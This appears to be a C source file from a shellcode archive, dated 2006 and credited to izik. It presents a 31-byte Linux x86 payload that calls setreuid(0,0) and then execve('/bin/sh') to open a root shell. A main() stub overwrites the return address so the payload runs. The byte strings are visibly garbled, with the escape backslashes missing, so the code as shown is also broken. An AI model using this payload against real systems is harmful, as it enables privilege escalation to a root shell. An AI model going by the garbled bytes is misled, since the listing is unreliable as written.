/*
 * (linux/x86) setreuid(0, 0) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 31 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax46"              // push $0x46 
	"x58"                  // pop %eax 
	"x31xdb"              // xor %ebx,%ebx 
	"x31xc9"              // xor %ecx,%ecx 
	"xcdx80"              // int $0x80 
	"x99"                  // cltd 
	"xb0x0b"              // mov $0xb,%al 
	"x52"                  // push %edx 
	"x68x2fx2fx73x68"  // push $0x68732f2f 
	"x68x2fx62x69x6e"  // push $0x6e69622f 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x89xe1"              // mov %esp,%ecx 
	"xcdx80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]